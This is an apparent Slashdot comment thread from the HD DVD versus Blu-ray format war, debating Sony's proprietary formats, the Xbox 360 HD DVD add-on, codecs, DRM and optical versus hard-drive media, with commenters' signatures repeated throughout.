Toshiba already announced the first HD-DVD drives sold will need an update for full capabilities. Why? Because AACS wasn't done yet. And you comment that BluRay could be in trouble due to a speculative report on the internet of a similar thing?
It baffles me where people come up with this stuff.
http://lkml.org/lkml/2005/8/20/95
Sony also tried locking people into a proprietary format with MiniDisc (not a total failure, but didn't do too well) and UMD (the thing on the PSP -- crashing and burning as we speak).
Sony spends huge amounts of effort trying to control the dominant media distribution format at any one time.
Any program relying on (nontrivial) preemptive multithreading will be buggy.
Oh, yes, and don't forget about Memory Stick.
Any program relying on (nontrivial) preemptive multithreading will be buggy.
Plus about 2X more expensive per GB.
Big deal. Media costs are not where your money is going.
Plus having a much higher chance of all your data being destroyed suddenly.
That's ridiculous. I remember everyone trumpeting CD-RW as the optical media that would outlast all the hard drives and be great for backing up. I've seen a whole lot more CD-RW discs go belly-up than hard drives, and do so a lot quicker.
Netflix isn't going to ship you hard drives.
But companies can stream me data.
How fast does it take Netflix to send me a physical movie? (I don't use them, so I don't know.) I'm going to assume a day.
How long does it take for them to transfer a movie? Well, my home connection can pull down a megabyte every two or three seconds. Dunno how large the stuff you're talking about is, but that's about a GB an hour.
You can't loan/sell individual movies to friends
There isn't actually anything stopping you from doing so.
Trivially easy to destroy via heat, electricity, magnets, G-forces, etc.
When was the last time you destroyed a hard drive from a magnet? And exactly the same thing affects optical media, plus it's easy to scratch.
Basically, the only benefit of optical media is that it's easier for a retailer to treat it as a traditional product -- you can shove it in a box and put it on a shelf.
Any program relying on (nontrivial) preemptive multithreading will be buggy.
Yes, a few low-volume titles have been ANNOUNCED. Indications are that they're being made in low runs in a lab. I think it'll be quite a while still (2007? later?) before there's enough dual-layer Blu-ray capacity for, say a Harry Potter movie.
There are serious, real physical engineering problems in making these discs.
My video compression blog
Specifically, Blu-ray players support both our VC-1 codec, and the H.264 High Profile 4:2:0 codecs as well as MPEG-2. However, no authoring tools exist for either of those so far for Blu-ray (they do for HD DVD).
Also, have you looked at much ATSC on a 1080p display? I find almost all ATSC overly compressed, with visible blocking in hard sections (especially cross-dissolves).
As for a better DVD standard, both formats support using DVD-9 red-laser media for titles, so for short content (like an IMAX) film. And you can make it looks surprisingly good. Still, for big titles with good detailed, it's worth it to go blue laser, especially if you've got a lot of audio tracks, or want lossless audio.
My video compression blog
1) Yes, the players will support it, but there are no facilities that can mass produce the discs. That's what I'm talking about.
2) You'll be able to buy dual layer discs for HD DVD very very soon.
3) Could well be true. I'm talking about purchased movies.
4) Correct.
5) I'm not saying that Java can't do good stuff. I am saying I haven't heard any examples of something interesting for movie playback that Blu-ray Java can do that iHD can't do. I am saying that, for what you get, asking contnet creators to write Java code instead of using a markup language is a REALLY high barrier.
6) Yes, but with a markup language. HUGELY easier to develop for.
7) And how many of those four things are actually currently available to ship to a PS3 assembly plant?
8) No, launch date is March 28th. You'll be able to get your hands on Toshiba players that day if you put in a preorder.
My video compression blog
M$ doen't want to compete for disc players with the maker of the Play Station... And owner of the standard for BD. IIRC, Blue-Ray media will be something like U.S. $23 per disc WHOLESALE, where as the HD DVD (no dash :) will be simply an extension of existing technologies, and should be a fraction of the cost of the BR media.
Looks like a compelling argument for MicroSoft's decision so far.
My wife doesn't listen to me either...
Note that the anlog degradation is decided by content providers on a case-by-case basis. Several studios have announced that they won't be doing it at all. Feel free to boycot titles with ICT (Image Constraint Token), but there will be plenty that support full HD over analog. And yes, there's a requirement that the box tells you if the title has ICT.
Also, even with ICT you get 960x540, so it's still a fair amount better resolution than DVD.
My video compression blog
Sony must have underestimated the power of its nemesis in the HD format wars. Microsoft is a seasoned veteran of FUD... It has been waging these campaigns for a while now versus Java, Linux, Open Source, etc.
Microsoft took advantage of Sony's rootkit blunder to score major points in that FUD battle. The only way to battle Microsoft here is for Sony to be on the offense itself.
HD DVD as a format supports perfect 1080p output. And you can get all of LOTR:ROTK:EE on a single side of a dual-layered HD DVD using the VC-1 codec. Don't worry - it's really well engineered as a HD replacement for DVD. The risky technologies that Blu-ray adopted won't actually do anything to make movies better, and is currently making Blu-ray a much worse format for movies until they get some stuff fixed.
Even if Blu-ray gets dual-layer and codecs other than MPEG-2 working eventually, there still isn't any movie that it'll be able to do that HD DVD won't.
My video compression blog
The industry joke about Sony since they decided to get into content after losing the Betamax war is that:
"Sony is less than the sum of its parts"
What's the opposite of synergy? disynergy? The stuff the hardware division does to help the content division hurts hardware more than it helps content, and vise versa.
My video compression blog
I've never seen a flying chair, or even heard an inappropriately raised voice. I can't speak for all of the company, but so far, I've met a lot of really smart, quite humble people who work very, very hard to make good products. And Microsoft is willing to admit to mistakes - Vista is probably a year later than it would have been if the company hadn't decided that it needed to put everything on hold to improve XP security.
:).
Apple does have more people with cool hair, though
My video compression blog
In recent years, "legal content" has gone from VCD to DVD, and now to HD-DVD or Blu-ray.
What's the message that "consumers" should get out of this? If you want your "content" to still be playable in 5, 10, 20 years from now, download it from Bittorrent in XviD format. Everything else is an inferior product.
This is laughable at best. Just look at Blu-ray Disc Association website and the long list of the members, far longer than that of HD DVD.c tion-14009/Index.html
5 3
http://www.blu-raydisc.com/general_information/Se
Maybe you should actually read the page. This is a list of Supporting Companies, not Companies that are PART of or EVEN ALLOWED to participate in the technology.
These are just SUPPORTERS, not participents in developing, adding to or even allowed to question Sony about the Technology.
Here I will illustrate for the slow swimmers.. HP is listed on the page you provided us the nice link to, now read this...
"Here's more on the reason for HP's decision to also back the competing HD-DVD format. It appears that HP wasn't too happy that Sony decided to turn its back on iHD support. Hewlett-Packard was pushing hard for iHD which allows for more interactive features to be included on the disc"
http://www.anandtech.com/news/shownews.aspx?i=254
Get it?
The Inquirer says they are backing Blu-Ray.
I assume that is because they make blue movies;-)
In the land of the blind, the one-eyed man is king.
Things you could do with $15k that are more fun than any amount of TV:
I mean, seriously. The point isn't that $15k is a lot of money (though it is an insane amount to spend on a freaking TV), but practically anything you spend it on is going to be more fun than television. The same goes for $1.5k, $.15k, or $.015k. Television sucks.
Forget looking again in 5 years. In 5 years, however much you have to spend, $150 or $1.5 million, you'll be able to find any number of things to do with it that are more fun than the boob tube.
I remember reading somewhere that other than price, the thing that wiped out Beta was the fact the blank tapes only lasted an hour so you couldnt tape a whole film on one. (i beleive they later extending running time but it was too little too late). I wonder if Blu-Ray being higher capacity than HD DVD will be a factor in domestic purchasing? That said, running time does not equal capacity since they can alter the bit-rate to set the running time at whatever they feel like, so i suppose it's all moot.
(1.21 gigawatts) / (88 miles per hour) = 30 757 874 newtons
So far, PS3 exists entirely in a hype-world. Nothing coming from Sony gives any confidence that this product will actually see the light of day any time even remotely soon, nor that it will be what everyone seems to think it will be. What if the PS3 goes with a whimper? What then of Blu-Ray? Sony hasn't exactly been on a roll of late, so why is there so much confidence in the success of the elusive PS3?
--- What?
After Sony's issues with rookit programs, my choice of DVD burner went from always Sony to anything but Sony. My next television set will not be a Sony, even though I have previously bought four Sony Trinitron sets. My next laptop will not be a Sony, either. How many other people who actually buy computer hardware have made similar purchasing decisions? I only buy one piece of equipment at a time. How many corporate decision-makers have been similarly influenced by Sony's poor business judgement when they go out to buy dozens or even hundreds of units of hardware? This could very well be the cause of "Sony's stumble," in my opinion.
Goddamned kids! Get off my lawn!
Absolutely not true.
I was refering to "latency" in terms of this mailing-media idea.
Slashdot gets worse every day... Pipedot: News for nerds, without the corporate slant
Completely wrong. Media costs ARE the biggest expenditure.
Yes, well, you apparently listed to idiots.
Still, that's completely besides the point... If you drop your hard-drive from table-height, ALL your data will be destroyed. If you drop a Blu-ray disc from table-height, it MIGHT get scratched, and even if it is destroyed, it's only a small fraction of your media, not ALL of it, as in the hard drive senario.
Yes, well, Blu-ray is going to be 50GBs per disc... That not only means 2 days of constantly maxing-out your internet connection, it also means they will spend a lot more money on bandwidth than the 39 cents they now have to pay. Besides, anything you can download over the internet is going to be massively DRMed, and require some extremely crappy Windows-only media player.
Sure there is. You can't divide up your hard drive, and give them a tiny piece of it.
Never, because I don't carry them around with me, they stay inside my computer, where they aren't near any magnetic fields.
Where do people store their VHS tapes and DVDs? You guessed it, on top or next to their TVs... where it becomes a really serious problem.
Optical media are 100% impervious to magnetic fields, can handle extremely higher tempuratures before they are damaged, and Blu-ray discs are practically impossible to scratch.
Slashdot gets worse every day... Pipedot: News for nerds, without the corporate slant
And as we all know, the studios are loathe to support anything with a so-called "analog hole", which means that the output of any HD-DVD playing on your 360 would be restricted to 480p resolution. If this happened, why would anyone in their right mind buy such a piece of hardware?
In my opinion, a snafu like this would effectively kill HD-DVD.
My personal plan is to hook up a 360 + HD DVD to the old Aquos in the bedroom, to watch movies, serve as a Media Center Extender, and to play games on when the wife is asleep.
It won't be my MAIN HD DVD player, but it makes a ton of sense for a bedroom system.
I'm glad to have it as an option. And I'm doubly glad that we didn't hold up the 360 launch until we could build HD DVD support into the main SKU affordably.
My video compression blog
The only real cool is: Boycott the music industry
But look at how people just shrug that off, they need their music and entertainment.
There are hundreds of quality sources of free [FREE] music and entertainment, the more audience they get the better they will get.
The best thing is, this is all on the web baby, I had a dream that one day in our immersive realities we can shoutcast (this was before shoutcast!) and tvcast into each others virtual homes. A webcam feed, a music feed, anything.
web 2.0 > 1 billion web chanels of people staring at their monitors waiting for something to happen, and 30 horny 50 yo women in grannie pants. I love it.
#hostfile 0.0.0.0 primidi.com 0.0.0.0 www.primidi.com 0.0.0.0 radio.weblogs.com
it's really no doubt in my mind that this format war will wage itself in the multibillion dollar gaming industry
;-).
No it won't, any more than it will revolve around the PC industry or Hollywood. The winner of a "format war" in this day and age MUST get buy-in from all three. Blu-Ray only has buy-in from Hollywood (and even that buy-in is not completely "Universal"). Sony and company seem to have kept the Blu-Ray door fairly shut to the gaming industry: Microsoft and Nintendo are doing their own thing and there is credible speculation that problems with Blu-Ray are one of the key issues that may delay the PS3, and its looking like the PC industry has make its biggest bets on HD DVD because of its lower price point and more solid delivery prospects.
Xbox 360 will not support HDDVD games. This ended the war in my mind. Who the hell is going to spend several hundred dollars for a cumbersome ADDON HD-DVD player for their xbox 360, JUST to watch movies?
Who's to say MS will NEVER support games on HD DVD media? Who's to say the add-on will be "cumbersome"? Yes, history has shown such add-ons have their challenges success-wise (the Sega 32X and Atari Jaguar CD...) but lessons can be learned from such mistakes. MS is good at learning from mistakes--after all, nearly every version 1.0 release in its history have arguably been mistakes and the company still manages to dominate
And as to who would elect to buy a "cumbersome add-on" over a full-fledged player JUST to watch moves: every "early adopter" on a budget. If MS can manage to be one of the "first movers" in the HD DVD player market, and can come in at a lower price point (should be easy enough being it would be a cheaper-to-produce add-on) then it could be a modest success.
Had they REALLY supported HDDVD, they would have waited to bring their product to market, and included a HD-DVD player standard.
With Microsoft's history, why would you expect otherwise? Microsoft has NEVER been about supporting standards in anything! Microsoft is about industry domination. Microsoft is about profit. And yes, I still believe that there's a little tiny bit of MS that wants to be "innovative"--or at least first to market with new technology. Waiting for the technology to be "just perfect" and standards-friendly runs completely counter to their corporate psyche. Sitting on the XBox 360 would mean losing first-mover advantage...frustration from publishers contending with a stagnating market...and above all millions in lost potential sales.
MS was the Johnny-come-lately with the original XBox--it had a pitiful library of titles compared to the PS2 and the console was quite an expensive loss-leader for the company. Sony has pissed away their dominant position by foolishly repeating history with the PS3--they figured that by waiting a WHOLE YEAR after their competition got to market in order to ready up a "revolutionary" competitor to the "evolutionary" XBox people will blindly rush to get their latest shiny toy. It didn't work with Betamax and it probably won't work this time either...the odds are stacked against them and with Sony's recent track record expect them to have a nearly disastrous, glitch-filled launch--by which time Microsoft will have already smoothed over the problems with their own glitch-filled launch of the 360 last year.
BlueRay has won the format wars before they even begun. Look at how profitable Sony made the completely proprietary UMD movie simply because they can profit from their own film distribution division.
As I said, Blu-Ray is FAR from assured a victory...their chance of victory is 50-50 at best right now. Neither format has complete buy-in from Hollywood, PC and gaming industries yet. HD DVD has the advantage right now because it has a greater cross-section of supporters.
I also wouldn't use UMDs as an example of successful proprietary technology, because most people consider the UMD as a movie format to be a relative failure.
Well that's just nonsense. HDTV CRTs are very popular, despite the fact that you don't happen to have one.
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If you use DVD-Shrink at maximum compression, reauthor to remove most of the alternate languages, menu chrome, and other bonus features, you can sometimes squeeze a regular release DVD down to a single 1.4GB 80mm DVD-R. Sometimes not, if the movie runs a little long, but OTOH it's usually quite practical if you're only taking a single TV episode from a collection that puts several on each retail disk.
Of course, one could use a different codec besides VOB/MPEG2... but that loses compatibility with many non-computer DVD players. And, of course, many codecs are covered by patents, which adds to the costs if you want to make a retail product, and there are definite trade offs with the video quality. But if the whole problem was easy, someone would have solved it by now.
//Information does not want to be free; it wants to breed.
I think you should have another look at my post. ;)
"Of course, one could use a different codec besides VOB/MPEG2..."
I specifically mentioned using a 'DivX-esque' codec. The idea being that they'd use something far more efficient than MPEG2.
"...but that loses compatibility with many non-computer DVD players."
Um, UMD media isn't compatible with DVD players (computer or non) for reasons that have absolutely nothing to do with the codec. Heh. The whole point of Sony making the UMD format was for them to have some proprietary format to make money with. I was suggesting how they could have made that work. Again, not trying to be insulting, but I don't think you got the point of my post at all.
"I like to lick butts!" by MobileTatsu-NJG (#32700246) (Score:5, Informative)
They're stuck like chuck. No HD support for the xbox 360 except for movies.. at a price you could purchase a standalone home theater component because there is no chance in hell they will subsidize this accessory. It's a flop of an idea to even offer this function, but Microsoft has alredy commmitted themselves to it, and will be forced to at least design and offer a HD DVD compatible component to save face.
When you consider the limited industry support for HD DVD movies, you can see that HD DVD could be pushed out in the same fashion betamax was.. vendor withdraw.
Any fool can criticise, condemn, and complain, and most fools do. - Benjamin Franklin
Interesting. Here in the UK I've never seen an HDTV CRT --- the push for HiDef came after the LCD/Plasma thing. I didn't realise there were such beasts as HiDef CRT TVs! ian
I see.
Yes, here, CRT-based HDTVs are far, far more popular than the alternatives. Plasmas were rather hyped, but people very quickly realized they were slow, low-res, susceptible to image burn-in, extremely expensive, and only last perhaps 3 years of heavy use. They've been completely removed from store shelves at major retailers, and replaced by LCDs (with the occasional DLP set).
Still, due to price, as well as image quality, CRTs are vastly out-pacing the alternatives. Both direct-view and projection sets.
27" CRT HDTVs are going for well under $500, and 50+" CRT-based projection HDTVs for under $1,000. Let's see... that's approx €420 and €840 respectively. And the alternatives, at similar sizes, costing at least twice as much. Plus, it's the only option if you want a set that can display both 720 and 1080 natively, without scaling, and probably the only option if you want to really see the 60fps refresh rate.
If you want to see for yourself, you can visit http://bestbuy.com/ , http//circuitcity.com , http://sears.com/ , http://kmart.com/ , http://target.com/ , http://walmart.com/ , etc, etc. Their online stores reflect their physical stores pretty closely.
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